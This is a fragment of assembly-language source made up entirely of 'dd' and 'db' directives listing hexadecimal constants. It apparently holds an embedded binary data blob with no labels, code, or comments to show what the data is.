dd 733D7809h, 957D05F8h, 8027E944h, 102F0FA0h, 0B9E10703h
dd 0E87A9C0Eh, 7C4AB8ADh, 0BDBFE1Ah, 0C13B9142h, 0AE0D18A0h
dd 0CF3B8ED6h, 46070024h, 0E7C27D5Fh, 2D4E0AA5h, 0A9A92Fh
dd 2F0BB18h, 175DE1DEh, 0D0B20120h, 0F54F33ACh, 0C06DE825h
dd 51325C54h, 9C51EE30h, 9CDD62BEh, 4EBD3870h, 5F381323h
dd 18C88080h, 0ABBAEDAEh, 55E7925h, 30905830h, 0EFD0449h
dd 3DC9610Ah, 0A8D5F881h, 0FFD3604Eh, 1A92B3Eh, 9318C58Ch
dd 0F0807A71h, 5B8E9799h, 0CE3EFD7Ch, 400079FCh, 3FF07F16h
dd 0A0BD4BEDh, 0EC2E98h, 5F198397h, 473A58CEh, 0EDEFFA00h
dd 6B95A2AEh, 0B09A3Eh, 487D6932h, 5F93A7FCh, 60BC58BCh
dd 7F99A261h, 75B16B6h, 0F8A400BCh, 0FBD4A717h, 0F74EDF02h
dd 43BDC65Ah, 9BE00074h, 0BBC78294h, 5698854Fh, 0B6E5BE09h
dd 54650Bh, 0CB213AC7h, 4F904291h, 44458807h, 20A91959h
dd 1CFE1310h, 0F9C80B9Eh, 0B6816F34h, 68B7CD62h, 0B9248768h
dd 69A48BC9h, 0E8244D1Ch, 71F92802h, 0AF1D00C4h, 55ABFB2Eh
dd 67B03254h, 9300E492h, 2740166Fh, 837D35h, 195CF0AAh
dd 6BECFDA9h, 114C5604h, 0E48C0422h, 2C7D586Fh, 8868B20Ch
dd 2C7AEA49h, 0C4132202h, 0C8787473h, 989B6C90h, 1DD4B58h
dd 27F18DF8h, 0E4DFCDEh, 0A1D1E828h, 0A9F31400h, 75195E49h
dd 2F2E0C1h, 0FB5A2B2h, 98900EB4h, 2200A666h, 0FD29D061h
dd 0C11C91DBh, 0ECF53C81h, 0DF9C50EFh, 6D12C5F1h, 40A28745h
dd 55B1CE80h, 3D00FCAEh, 0CF1C373Fh, 1391BD9h, 7CB048Ah
dd 654B9D2Ah, 99B0FCA0h, 0AC6D2C3Ah, 7E8FD0A5h, 2053C4A3h
dd 862ED090h, 7F2F7DE9h, 0D7845CEBh, 2674F272h, 16B0AEEEh
dd 0CB4C8096h, 1128099Ch, 3C05EF06h, 6F20D577h, 9878D489h
dd 0B2A083C7h, 4C68419Fh, 50BCFBEh, 0A27E3Ch, 1DA106D4h
dd 9EB61D1Eh, 5A4E47B3h, 59F0C7ECh, 2ADA8403h, 0F0FB04E1h
dd 0DF051A8Bh, 81CD5C0Eh, 947FFCC1h, 0C2C44D21h, 0A85F7664h
dd 0C0FF44h, 33505DCEh, 0CD9A0E7Ch, 5BC037F1h, 0E02D7813h
dd 0A901F428h, 0CA7086D1h, 5C282C98h, 9433D1Ch, 0A00BBCC7h
dd 0B14D2A6Ch, 5A9F0083h, 0A36AB845h, 660C7C6Bh, 6115AF07h
dd 28F30F2Fh, 6806F0Bh, 0D3B999CDh, 7FAC5106h, 4A78D008h
dd 8048C9B0h, 0E5456B70h, 791E0FB7h, 503B286Ah, 6084B1C4h
dd 1AB41E30h, 0E953EB1Eh, 1C5B4C04h, 2E00B0E3h, 0E82C0403h
dd 3F39E336h, 6BD90A83h, 0C60ECC4Dh, 2C3700FDh, 1E45C64h
dd 0FEB45F4Eh, 68B5B028h, 80775F54h, 0BD8D29F0h
db 66h, 7Bh, 1Ch
db 2
dd 82BE8439h, 0B46452FBh, 0C09B6A03h, 98641E9Ch, 34B7E1Dh
dd 0DCE6F730h, 4839B485h, 50DB0B48h, 0CA348077h, 16CF8261h
dd 12B4E44Ch, 1E8403C3h, 79008A58h, 0DEE999F0h, 5D46265h
dd 84878B9Eh, 79F89907h, 0B50F05A4h, 0E8C87CCAh, 1EA50538h
dd 90DCABBBh, 0E55AB670h, 0AF00609Ch, 5F63D8DBh, 2820B9E4h
dd 0B828B2A0h, 0C060D248h, 7CAE290h, 0DDC67900h, 9D2EA865h
dd 0C18A00FDh, 0DB70CB5Ch, 3C925D8Eh, 8B740707h, 3E501376h
dd 2520F09Ch, 30C05CD9h, 6600FEE0h, 418D3F89h, 0E7FD2A16h
dd 0C8B58428h, 0F401AA74h, 0C143A290h, 382CFFh, 4738605Bh
dd 0FAEEF67Eh, 521325h, 0D7161F5Ch, 9E1CB007h, 5B82600h
dd 44EFA1D4h, 0B3FEE738h, 18304F14h, 227B7h, 81F096A3h
dd 2DC6CD98h, 4F86AE00h, 7604A969h, 0CFEB0EDAh, 0EC004ADDh
dd 8072D99Ah, 7739073Dh, 0BD283350h, 0C449F42Ch, 0A859B782h
dd 18C6099Dh, 5E0B6300h, 68C11765h, 0BC94790Ch, 9C0F445Ch
dd 4E7A04DCh, 7C00A89Ah, 2AD95AEh, 0B09D2608h, 0A474B660h
dd 4EA380DCh, 3480D848h, 1154CF00h, 3CE23E05h, 88164ABAh
dd 94B5AD8h, 9C3D7C89h, 0E4F8C300h, 4D169738h, 3F9A0413h
dd 3BAD5800h, 5B145B8Fh, 6600A52h, 0FE6E40B8h, 55027EA5h
dd 224F873h, 919C51CBh, 0C42A04A0h, 0F8A027ECh, 1AD20C59h
dd 8B1166D0h, 0A942A31Eh, 196776C0h, 0A4977E28h, 5CA670h
dd 0CB61DCE9h, 0D4245272h, 0D005ED00h, 10F6971Fh, 0EAF4F26h
dd 61417188h, 3C2235EAh, 0A4D04C84h, 667B00D0h, 0F0334835h
dd 5DE06917h, 27D82AD8h, 5098B730h, 0C1006E46h, 0E52E091Fh
dd 5D735494h, 1400C861h, 7CC30AF6h, 0E32A695Dh, 0CF09DCB5h
dd 6C2F8394h, 0CAA500F8h, 7F14249Fh, 191FE4CCh, 3CC1A64Dh
dd 0F998B20Dh, 725FA080h, 0A8D28131h, 20297106h, 0D0589Bh
dd 0B350C6B8h, 0C33457EEh, 56E06309h, 0BA6800C9h, 0A9D04Eh
dd 401CA76Fh, 0D8399661h, 65245576h, 501C71Ah, 0FEA86F38h
dd 488F8824h, 0ECC4543Bh, 1894C8F0h, 0B0DCAF25h, 4DCDC684h
dd 0CA4AC854h, 7D298EDCh, 0EFC94984h, 387D1C90h, 0E0B5004Ah
dd 483F2697h, 0AE0298F4h, 0F9B41B8Ah, 340062D6h, 0D6448CDCh
dd 82D801C0h, 0C9CCD526h, 0E591C536h, 1F82C73h, 0EA44BAFh
dd 10818077h, 0B9228269h, 6CC87409h, 2C566704h, 0E0954440h
dd 7AF7680h, 0F37A3Ch, 6A1422C4h, 53FDF7B0h, 50094B0h
dd 24A65432h, 61F3Bh, 5B218FB5h, 8599E6DAh, 1AF7CF25h
dd 0AC50C05Ch, 423A3964h, 1B922880h, 0CB8A638Bh, 43604BFAh
dd 0C0C8E978h, 7CBC54ACh, 0BECA393Bh, 356C024Fh, 60FDE3B9h
dd 92772812h, 0E66A0128h, 0E147415Ch, 284A7173h, 0AF9400B4h
dd 87233932h, 465A057Dh, 0A6BF7204h, 59302BCh, 5E023134h
dd 0A2CD410Ch, 3D882133h, 0F0F84000h, 0D902AAE0h, 4D01B1D5h
dd 0FC5058h, 343BA886h, 4AEA1936h, 283A8029h, 0BA94944Bh
dd 18C89864h, 3182868Eh, 0BB1E3D4Dh, 1F01F025h, 7D6DF9C2h
dd 0D88142FDh, 1B7A400Fh, 5E84079h, 0F100E38Eh, 32898F14h
dd 3C26547h, 24C4AA07h, 9BF80E76h, 913031BAh, 4D3C404Fh
dd 0A6DC24F2h, 0EDB000A4h, 0FFAB7D57h, 0F960460Bh, 0E2502035h
dd 72747Ah, 88940E25h, 32A7FC51h, 903BA224h, 94FA74A1h
dd 3B730060h, 2593DB94h, 0A0C0DA5Ch, 70D77141h, 60FB1D37h
dd 0E7B1003Fh, 0B5B83DF9h, 18BE207h, 0F10012EAh, 0EE6D1F69h
dd 0CB3600F5h, 0D28FCFB4h, 8A24164Ah, 32014E62h, 4B330DEEh
dd 58C96E4h, 2EFD38A4h, 0A003FB2Ah, 0B8181608h, 0DC6F3Bh
dd 349F3DBh, 47CF24BDh, 0F1F79200h, 9099E141h, 12911DADh
dd 0F3F2408Eh, 0CED085F9h, 73B16200h, 199EA963h, 0B50C00F1h
dd 0B9281E7h, 0E11DEDFCh, 0C201D240h, 0A8C76F74h, 149D288Eh
dd 925380FDh, 3EA358BEh, 7EF8AF03h, 98A25BE7h, 0E0A147B6h
dd 0EAB53060h, 5957B499h, 8A00D775h, 0A7DE1C44h, 0A08FB6Fh
dd 9425CE43h, 839D3BD5h, 26FF8012h, 0DAE9DC76h, 94E2200h
dd 69A7CD85h, 52D607EDh, 8C75BC80h, 6D004290h, 12A87D58h
dd 73011DCh, 0B20A33A4h, 0F31C035h, 6100AD16h, 5FDAD989h
dd 0FA76AA63h, 1142018Eh, 0C87E03E5h, 68A84082h, 0ED005D5Eh
dd 0AE8449DCh, 0E2F9213Ch, 0EC301522h, 2C803C6Fh, 0B083E88Bh
dd 9D52A503h, 0E896C295h, 1CFB96Eh, 3186CDCEh, 509BA3B8h
dd 0FA77D084h, 2C1CF603h, 0E755639Eh, 0C04BADA3h, 17F5E9E6h
dd 0D6FDE3h, 0EEF60AC7h, 1A003AE1h, 38A70D1Fh, 457621h
dd 39ECCE8Bh, 8A699240h, 0CDEA3001h, 625A6474h, 0F11840FEh
dd 3C321556h, 0FC3DDCF4h, 600196Ah, 92920FE7h, 7BA69801h
dd 0B61FEBBh, 0D00A9440h, 0F1C60254h, 0B069B2F6h, 84CF0440h
dd 20416300h, 15A5CE33h, 0E02A0059h, 0BC739B67h, 64007836h
dd 0D74FAACAh, 21CA48Dh, 38FB9AD9h, 74408AC9h, 0EAEE77B8h
dd 10F1A700h, 0CD48CA55h, 6116FC12h, 0B6D2A197h, 98A9C63Fh
dd 0DDC1300h, 0D548BE7Bh, 1800792Ch, 8C5C2B30h, 0C2EFF6F4h
dd 522083E8h, 0B9348445h, 0B318C442h, 0CBA040FCh, 603600BBh
dd 49D20556h, 692A17A8h, 7B0394C5h, 388150E8h, 8828E8E3h
dd 0F6CF00A4h, 9EFDE1EAh, 0D500FF14h, 34C3E6Ah, 10D137h
dd 0B7F41638h, 7C9E062Ch, 0ACC55F00h, 0EC34E361h, 8289CEE1h
dd 5CF76661h, 5C44213Ch, 1BEC3628h, 0B89D5B00h, 0CDCFD069h
dd 0B88764CCh, 8C8E0Fh, 5CF42F19h, 531CDDCFh, 154CB4A9h
dd 49D32800h, 702B9423h, 346F9200h, 0D22E5129h, 794B046Eh
dd 80241135h, 0C4618290h, 0A5542D75h, 40F24AA0h, 0F07081F9h
dd 52489943h, 0FA209C21h, 0EE989264h, 664D146Ah, 0E0B0C062h
dd 1419CCE8h, 15E0AA7Ch, 240CCAD0h, 87A8FC73h, 498FF58Ch
dd 2400B009h, 3EAC49C8h, 78EEE635h, 0C6482980h, 3082F223h
dd 0AC486E57h, 3B00FF5Fh, 25AA4781h, 1D46782Ah, 7DE719Fh
dd 79BA08A8h, 2A9D7C30h, 8375A6B0h, 0B31F5803h, 7FEB17AEh
dd 697B0080h, 0FD1340A6h, 0B3E21C52h, 5C984702h, 40414FA7h
dd 31F4D889h, 6A5073DDh, 2DE9C087h, 0E43A3D28h, 0C8E53326h
dd 371001BDh, 9B3B18B9h, 24AD8180h, 3DFBC0B3h, 0F2762B90h
dd 2071A300h, 864BBAB0h, 52C10089h, 4375D6DAh, 173E0B1Ah
dd 249B870Dh, 0B012853Dh, 190C6013h, 0A244242Ah, 1C508E04h
dd 8ABF1E80h, 0E2014C77h, 81CE0CFAh, 782483D1h, 3845188Bh
dd 0D5EDA196h, 412431EAh, 5D00D8D2h, 43BC8E2Ch, 0BE6C0005h
dd 827C6F47h, 4D09EF64h, 81A8C08Ah, 834EBA60h, 587380E0h
dd 0DF2238B7h, 0BB68B907h, 4E709E6Dh, 0E2712C4Dh, 0CFDC296Bh
dd 0DA9244h, 733C3A53h, 47789306h, 0D7028C90h, 6CA5AF1Eh
dd 628DC024h, 0CEC9080h, 0C047A76Bh, 0B27B4B81h, 0A00036FAh
dd 487267A8h, 2AF7E95Eh, 9885D55h, 32FDF34Dh, 640FA820h
dd 80CF8C7Bh, 0A9585FBAh, 60ACBEF8h, 878A10BBh, 68026D99h
dd 76AFDA0Fh, 0EE4407Ah, 40D0AA7Bh, 0B0480638h, 38CF03D6h
dd 0FE35E64Dh, 3197DD0h, 3D781A04h, 6080870Dh, 3F15075Bh
dd 6004FABFh, 0C99C8820h, 0E848CEFCh, 2200AC0Bh, 62BEC6B1h
dd 609FA771h, 190468DBh, 17005C2Ch, 261BAADDh, 152EF98Bh
dd 0E03358E4h, 2F88E03h, 0F024FEA4h, 806CA89Ah, 8B9C0E4Dh
dd 0DAC0CFA6h, 4BC9AAA5h, 403658h, 2B5FD43Fh, 0B7C10Ch
dd 0DEBA7810h, 0CE514662h
dd 271945ECh, 4869F606h, 0A8E741FCh, 15F41780h, 0B47D1B11h
dd 181D5300h, 6120FB5Fh, 49D83A3Eh, 6C510184h, 9BC0D2F0h
dd 0CF01FC32h, 0ED176ADFh, 3A2F80Fh, 40E840Fh, 194DA4E8h
dd 380C886h, 9840A780h, 69001292h, 2FEC9A0Ah, 1145A0Fh
dd 8DBDC273h, 9CEA362Eh, 25008AA9h, 0FE3B7E65h, 0F66F293h
dd 914F6760h, 0C3C05E12h, 0A21ADC2Eh, 0BDEB900Fh, 4F3BC3F2h
dd 6AA7A86Fh, 2FCD0382h, 39CE48E9h, 0E1FE8085h, 4D1D5291h
dd 0F202D5E8h, 60C1B4C5h, 2418992Bh, 4AB41E4Eh, 5C471550h
dd 5302E080h, 59713764h, 5F006CA6h, 63906A66h, 2C22068h
dd 5431DFE0h, 84CBB296h, 61EE8D91h, 8B54606Ch, 0AD450E05h
dd 0FC80C26Bh, 0DA3E49h, 4F354C9Eh, 4432552Dh, 6AB86053h
dd 4100F09Ch, 4E506EA8h, 0D8E132Eh, 0C6F40F8Fh, 0D30034F5h
dd 663ABFA4h, 4700FC09h, 0AA59B830h, 1F8A3592h, 4D1DEEE3h
dd 44619BF2h, 0FBC4C8A8h, 7E671678h, 15E054D9h, 9D5E5Fh
dd 55939CD9h, 0B9D5F219h, 0B70044F8h, 0E3856623h, 4C1BA070h
dd 120200A1h, 727C5B5h, 4D9AD140h, 0E6520200h, 6DE3BE75h
dd 92BBE0F8h, 99ACB010h, 0A6BC208Ch, 99DE0050h, 0E29B5F90h
dd 0B6927E8h, 749481C8h, 18248733h, 4EC0BBAh, 20A81Ah
dd 0D127E0F9h, 7C003A73h, 7381011Fh, 0EC11CC58h, 4209082h
dd 71C5AB16h, 0C0B4846Ch, 0F8915574h, 678BBA00h, 0A7686432h
dd 0DCF052F3h, 58A0145Ch, 172C8626h, 5D604CFEh, 9A936BF7h
dd 0AA553E10h, 17A947B0h, 952E4AAFh, 569A0B7h, 785FA594h
dd 0DB5D4047h, 0CE416057h, 0ADC00C01h, 5068520Eh, 0ACBB3900h
dd 1365CA75h, 0A8A0C730h, 1AAF831h, 76896F6Ah, 0C6D1583Ah
dd 59CA2C68h, 22B0B551h, 3BBD4C9Ch, 9415805Eh, 7B3EC547h
dd 0E08E580Fh, 0C0E5C41Dh, 0D75234B7h, 3D0EF646h, 0C2D9A02Ah
dd 5B36ED5Ah, 0A980E58h, 3A4C0CA0h, 80ABD6A9h, 615D53D9h
dd 0E2304026h, 4B77A634h, 80F8A400h, 54118EEFh, 6B2D2EDBh
dd 95218028h, 1A728A88h, 0C2CE001h, 0BEF1E316h, 0E0DBCC70h
dd 384100B8h, 80671DCFh, 0D8FE48B9h, 0C76CDA00h, 0F21B3A13h
dd 4438C030h, 149F2F01h, 959311CAh, 0E5EB6401h, 709E1766h
dd 0BA3E80E8h, 0E791E4B8h, 59DD7200h, 0B216761Ch, 9EA0755h
dd 80EB7379h, 83CE6027h, 0B661D300h, 14D99A37h, 3BFB00DBh
dd 0B1028F39h, 0DC0E131Ch, 24C70710h, 2480650Ch, 1FABECh
dd 61ED2788h, 0CB5C836Ch, 71946B00h, 0CEFD792Eh, 7F7C001Eh
dd 30AF20E2h, 0DA005724h, 0D562646Eh, 0F28BBBAh, 0AE9B7654h
dd 1D558F1Fh, 0F535A500h, 6E061A73h, 800BFD6Bh, 863C5018h
dd 21271D7Ch, 891C0016h, 0FF10DFD0h, 0CAA39830h, 763383B3h
dd 3EDD0191h, 8509A92Eh, 507CD574h, 25ABD980h, 16A0A01h
dd 8DF15C77h, 1CFA2081h, 0BE7F4B61h, 33D78029h, 4EE8D8BDh
dd 0C0813327h, 21036008h, 4B33ECC1h, 97BBE005h, 799D0053h
dd 99930367h, 0D19069FCh, 8FB15A14h, 7C770330h, 0C0182DC9h
dd 1BA5CF7h, 0D8E9B319h, 0FC4FF9F3h, 74003802h, 2F78B83Ch
dd 77D432h, 0E2C35EDEh, 4DC619A7h, 211D3002h, 403B2D0Ah
dd 0F0F79Ch, 0F9A8E2F8h, 49693659h, 0E5034E90h, 0A4E9AC1Ah
dd 4E05E9FBh, 2E4DCh, 0D6161C4Bh, 444C6847h, 0FBA842C0h
dd 0F70A676h, 27227A95h, 0E6D38983h, 9065ACF0h, 0B8A15138h
dd 0E01C1D5Ch, 9DD3100h, 32E47E5Eh, 4311415Bh, 0EE1804B6h
dd 0A910EBE8h, 2F7C61h, 0E4BE0A89h, 42605818h, 41C3CC00h
dd 103C2CEEh, 7AA818B8h, 0E1022929h, 89D15688h, 446108C0h
dd 0E244E6E5h, 0C22420ABh, 223F3422h, 2A45E104h, 0D7E935C1h
dd 1A20D4h, 13B8779Ch, 4511CD8Ah, 2C61D600h, 9B3D183Eh
dd 93A600C6h, 24DE744Dh, 0AF00F2E9h, 0A729DD7Dh, 0BC6395h
dd 53DB0ED0h, 0B8E54105h, 67A12200h, 0B584CAFDh, 1C680007h
dd 0A2582AC1h, 0FF737944h, 8C40B00h, 0AD667678h, 0E8FC0024h
dd 8C26F505h, 8000ECF7h, 0A443644Ch, 618C1D0h, 0D7BE4A90h
dd 0C90010A2h, 87DBAE65h, 2A1D42E7h, 0EB8A7E5h, 3E533832h
dd 8CDFA00h, 0E2056CA4h, 6833EBC6h, 7918A301h, 48BBFD92h
dd 0C55E058Fh, 0C7FE11F8h, 34EA2003h, 0F21D4384h, 46E8908Eh
dd 0ECBC50EEh, 55A200C3h, 0A8B120FFh, 0F901B726h, 850BD2D0h
dd 0DEFC95DBh, 952C4C0Ah, 0DC900F00h, 88C48DE4h, 29FDE62Eh
dd 74971030h, 78590FA5h, 3E9D4AF8h, 11809880h, 0C3082FE5h
dd 497A900h, 0ECA6A160h, 0FA2402CEh, 0FC25F156h, 0B12C4048h
dd 53877A00h, 0C839E143h, 0B27F48Dh, 25A27E61h, 911D4000h
dd 8877DB8Ah, 0ADE9B50Ch, 442854h, 924A30AAh, 0A5A4C17Dh
dd 0A1EEC304h, 0FBC0AD8Bh, 615C5Dh, 417D108Dh, 29B13A71h
dd 97FFE603h, 0A0F3EEA4h, 178C6ACh, 0F153A2FDh, 8044355Bh
dd 0A52E3A98h, 15FA34Fh, 0E74AA85Ch, 0C8DEF3E8h, 0DD008E69h
dd 0A0EB33FAh, 0C0A4A6h, 3F8BD1BDh, 0DE91B43Bh, 50CEBB00h
dd 3395D7A7h, 7E093B63h, 0A43F8600h, 0D3E489FEh, 3AACD402h
dd 0E03692C1h, 0F2BD062h, 0BC459006h, 82C7AAE0h, 41246018h
dd 10099C2h, 0D1E2E8B4h, 931339C1h, 0EF56EA83h, 0BEE060D7h
dd 0CC05EB12h, 3915ED19h, 0F5825800h, 758F7Bh, 60A181DDh
dd 4CB97E54h, 0B8FF3F00h, 7DE1179Fh, 0C3790030h, 0FC032F8Eh
dd 0B00F14Eh, 72985462h, 181CDDCh, 6DE93A17h, 20BEF26Eh
dd 3D004424h, 0CBB2D652h, 37A0AF8h, 0D8E57F4Ch, 0A4907339h
dd 0AE0FFCE7h, 0C00FF02Bh, 5A17BC98h, 44780063h, 13AD5226h
dd 46009A4Eh, 0A89D358Fh, 0C02921h, 20AB58C6h, 12337D52h
dd 45976B00h, 3DC46E70h, 0EC2700A9h, 0E2F60C81h, 9092A10Bh
dd 1E41BA00h, 0BDF03D45h, 0B8170E7Fh, 0A3E9EE26h, 0F23C0C00h
dd 0CD014DF7h, 701821DEh, 9C20D7F4h, 316E016Bh, 0FCDC0617h
dd 0F3302057h, 6CB74CC0h, 18015E23h, 0F8A87948h, 383DCC0Ch
dd 783AB051h, 0F4CB718h, 0BF57C889h, 51A7E7C7h, 22A61137h
dd 0F09F30B4h, 1D9ABFDCh, 4058070Bh, 494F0938h, 0ED037182h
dd 0CCFD3D33h, 3908F85Dh, 0B0063C63h, 1E28BC30h, 0A3E65CF5h
dd 4CD0553Fh, 73E70070h, 0C71D45DFh, 9EC900D5h, 42EBD316h
dd 14006B08h, 8528FEE0h, 0EC094162h, 5BC90078h, 0D2E2F061h
dd 3903D4AFh, 1A5C726Eh, 0F88A906Dh, 100648BCh, 0E60EA203h
dd 51D7EBFCh, 0C0788709h, 0C6005CE5h, 0E0FE6A59h, 0E2B5E9Dh
dd 0B7709F19h, 5B0DF823h, 0EF122013h, 35D12407h, 0DAE0A03Eh
dd 13E1BC79h, 0C7DF4Bh, 0FB890748h, 9C00E3A5h, 0BE193F2Eh
dd 3134AC4h, 0E6BD18F2h, 45F83280h, 1007915h, 0DA8CA356h
dd 0B69AE2Fh, 7ED502B4h, 71BDE487h, 0DCF735BCh, 0C5008BE9h
dd 0E7640AFAh, 0E1A355h, 3C2E2D9Fh, 0F8F5C20h, 0A287FF09h
dd 56CC01AEh, 0C5D0EC59h, 84670C1Fh, 4D7844F4h, 89BB3F00h
dd 5EFDE98Bh, 0DBF703A7h, 1571DA31h, 0EDA2C2A0h, 0B18C6307h
dd 0FF22587Dh, 0E28C60B7h, 8EE701A0h, 0C845F4EAh, 475030E9h
dd 1FFB2B00h, 0E59A022Eh, 0AEB800A9h, 0CCE8585Dh, 2579C0F1h
dd 2646D75Ch, 38BC0Eh, 4AF32ED4h, 0B03CA1h, 0DE40EFD0h
dd 7764780h, 7BCAB300h, 2DB27259h, 66F87Dh, 303D96D3h
dd 0CBD1B940h, 0DEB55700h, 8AC2035Fh, 0B4B305A8h, 7FBC77h
dd 9FA192A8h, 0A4481BDEh, 0BEAA0054h, 5121DAFBh, 1AB81CD2h
dd 1388668Ch, 0AFC00089h
dd 0F401E720h, 0B4407F14h, 1C842EDh, 86F065B3h, 0EC490DF3h
dd 12E12CDCh, 0C5D71Ah, 0BE1D8FE3h, 0D616A8EBh, 0B8024814h
dd 0C4FA213Dh, 0BA3E0048h, 4AD564E9h, 6B006D77h, 94562DA9h
dd 1224EFECh, 0C8039h, 0D0331168h, 6400A5C2h, 0CF061F6Dh
dd 79B7B6C1h, 4C9A07A1h, 0B09DE15Ah, 0DA44E854h, 0C5631E0Ch
dd 30C72803h, 72484346h, 8D07E9DDh, 0A5831F65h, 29E4F820h
dd 50F500FDh, 92EDEC79h, 0D7008576h, 0E09E1AE9h, 331F63h
dd 0D824EB78h, 1017B279h, 6C90E5ECh, 0EFDDFB07h, 86A07069h
dd 1324D54h, 0C626FDDFh, 6F5B22ECh, 3A44B0h, 0C99B4EA1h
dd 0BC95E76Ch, 0D3D9A00h, 85516197h, 0CF69026Fh, 5A634A7Fh
dd 0A7906C43h, 53033FD6h, 26377972h, 1C69A85Dh, 0EE931F7Fh
dd 7A87C2B9h, 7860F294h, 0C6003BC0h, 97465333h, 7EC209h
dd 7AF62A66h, 22B43477h, 0A45AEC00h, 334FDEABh, 545F1DACh
dd 0CD30C13Bh, 30FFE8AAh, 69000690h, 6A252FCCh, 284E1410h
dd 1A0CF85h, 46376896h, 0E85B6929h, 303E24ACh, 7117801Ch
dd 3E5FCA81h, 0EC22C23h, 0C19B1CC4h, 0C48E1ACFh, 0FCB4313Ch
dd 0B3006639h, 99E0350Ch, 74EBA7C3h, 0EFBD58C5h, 32FF6003h
dd 80C4D529h, 560DFAB0h, 7B722F00h, 0FDFBBAA0h, 92A43085h
dd 0D25B8890h, 280AF8A8h, 0CCC9B003h, 0B88BA369h, 0DDF9BEh
dd 551BCF2Ah, 62E7827Ch, 206AE430h, 0FD7E83Ah, 0DE8EF8F9h
dd 38A0F00Eh, 0DCC99D5Eh, 19001C79h, 753C55B5h, 0C06FA1B0h
dd 35E176C0h, 0E5007B25h, 0D47C1D88h, 5C1AB3DAh, 0DD406702h
dd 1B960462h, 85C89DE8h, 531400C6h, 0CD2C6119h, 5D7DAD00h
dd 0F373BCCBh, 429E227h, 5297C1C3h, 75588004h, 9A00DCF8h
dd 0E977EF91h, 11424D9h, 13344112h, 353590DDh, 40A96178h
dd 1FD28F8Ch, 0E6DA44C0h, 0A3C430h, 0B9B5CE8h, 7028E4B2h
dd 6D0E4700h, 2A5B3765h, 0B54F00D4h, 0B2019CAEh, 230F4316h
dd 0E01E8110h, 6D155088h, 3FE40036h, 9EBE2BB9h, 990D1642h
dd 0A4A6E994h, 2C544E8h, 0CD283C84h, 7841DF47h, 30F0C960h
dd 0D009B6Eh, 914A290Ah, 39D471E7h, 3300205Fh, 5D0EB0B5h
dd 6C00A92Bh, 0AA8F3048h, 211FF81h, 24163ECBh, 11E03FD4h
dd 0EE009138h, 0C1D315A4h, 2CE6702Fh, 8024BDA3h, 7544098Fh
dd 0BE00BC0Bh, 10BFF286h, 1964E15h, 8FCB1A0Fh, 0E0BBFD44h
dd 6A022E41h, 0B26C0784h, 0B4AF80E5h, 0FE7C1F90h, 47E17A9h
dd 0BBAC01CBh, 0D0BEE6D4h, 0BF03B8F6h, 2E6CC390h, 9A5A0358h
dd 0B3D14279h, 0EDE0FFC0h, 8088E738h, 0D9F1DEA1h, 0CF483Bh
dd 0AA748444h, 903A152Bh, 0A1F33Fh, 9B778816h, 1DE25B8Bh
dd 0C0510F99h, 0F4920AD6h, 0C17C3273h, 0B9EC851Bh, 0ED900080h
dd 36C7A95Bh, 0B004423h, 0F4C2971h, 3309FAh, 42989D4Bh
dd 0D59B2EF3h, 1BC20200h, 94393207h, 920C7CA7h, 3F271E4h
dd 0C4F6D79Bh, 0EFA08EC9h, 4F076741h, 86407129h, 99EB931h
dd 0A596E8h, 66106832h, 140D33CCh, 43593F00h, 0F008AD77h
dd 8BC4009Dh, 992AC35Eh, 6850D5DDh, 207B14ACh, 2A77100h
dd 8696F2E1h, 365D00FFh, 0ACEA7622h, 4DF5FB7Bh, 75D7E0FCh
dd 0D6FC952Dh, 504400DEh, 0B90FF4F6h, 2D7FC800h, 0F33F453Eh
dd 833D0768h, 0C98EEA96h, 120E5C44h, 2073A52Dh, 0D89D371Fh
dd 7881005Ah, 0E26772FEh, 22FECA1Eh, 7E961B0Fh, 33EEC02Fh
dd 5C3215Dh, 32CEAE29h, 6DBD00D2h, 0A43B05E0h, 0D0EB8B0Fh
dd 603EAE54h, 46E84D2Dh, 76B9304Fh, 1E6BD421h, 9265C00h
dd 927D6C11h, 8829006Fh, 7E5F2DEh, 381F2A64h, 3A80E447h
dd 0C779A131h, 0C2BA00F3h, 93D192B4h, 0C90B589Ch, 875D27EFh
dd 0AEE13BE0h, 2ED055EEh, 4D0A3B75h, 0C0202181h, 0F0C9AAF2h
dd 57FEA5E2h, 8218D91Eh, 0E0B98Bh, 0EAFB9251h, 80FD30C7h
dd 0A26493D0h, 0F02C9900h, 7BCCE99Ah, 246E006Fh, 7F7340DBh
dd 0B1002163h, 29CF0B16h, 1DBEABE3h, 455A7030h, 9B41D3Bh
dd 6740E2h, 0C0C6B79h, 0BC7F639h, 0FEA5BBh, 9BC51644h
dd 79C400A0h, 332429CCh, 6EA3141h, 26EFD02h, 0C0F5A8B5h
dd 197BF14h, 0B03907C0h, 0D8788562h, 8A09DECEh, 8419C167h
dd 0D8C098ACh, 7155974Eh, 15A09FDh, 0F4406058h, 8CCDFCh
dd 531303BCh, 87BEE9F7h, 74A40405h, 0C000A637h, 0BF73DE79h
dd 80580124h, 359E51F2h, 0B4ABCB69h, 290E5EFBh, 81AAF437h
dd 0A909608Ch, 526B9C85h, 0DDA71E33h, 0AA9500ADh, 0CE31B411h
dd 0CAEFF726h, 53510203h, 616000A0h, 0CAFB67EEh, 0B900B59Eh
dd 0AFC8CC26h, 0B0FA5E5Fh, 8E2E0300h, 0D8C13B52h, 6ED220A8h
dd 0D7B6CE00h, 8624BC17h, 4E990059h, 0B8C2E72Dh, 62099F1Fh
dd 800FB56Dh, 2F423C14h, 0E9F81C20h, 6C4CC057h, 4DE62D6Fh
dd 857EFD00h, 5B77E5D3h, 0DA0A07DDh, 43435E76h, 6101FF33h
dd 9A7D2949h, 1080FDD0h, 0B467557Eh, 6C80FCA2h, 32F8030Ah
dd 0DCDDF51Eh, 0C8889683h, 7603CDD5h, 8B48EC54h, 36BAB0C6h
dd 0C2C718D0h, 0ABCF08Ah, 495E7030h, 3048B7C0h, 6A1198BEh
dd 31003908h, 0AAF98E8Bh, 6D83B4h, 442D4954h, 55E3B641h
dd 85BD9700h, 6A0FA1CAh, 0F25600ADh, 8963A4B2h, 1573BC94h
dd 0A5B7D900h, 3E021275h, 439F4C77h, 102DDE18h, 4F0EE7F7h
dd 0C08D59A2h, 6DE4BB47h, 11B41F37h, 4CFF0019h, 7D39CDD7h
dd 0BE863F8h, 2F5A38h, 0B59DEC78h, 1B3FB392h, 0E81B3861h
dd 62D137B8h, 0B46DAC00h, 12944AADh, 38CA0005h, 0FA071A72h
dd 0D4A09C08h, 4E0CFE26h, 105CEF7Dh, 6EBE01FCh, 761A198Dh
dd 0C0A5FF9Ah, 39F4756Ah, 0DD85D40Ah, 4F0190E1h, 84730627h
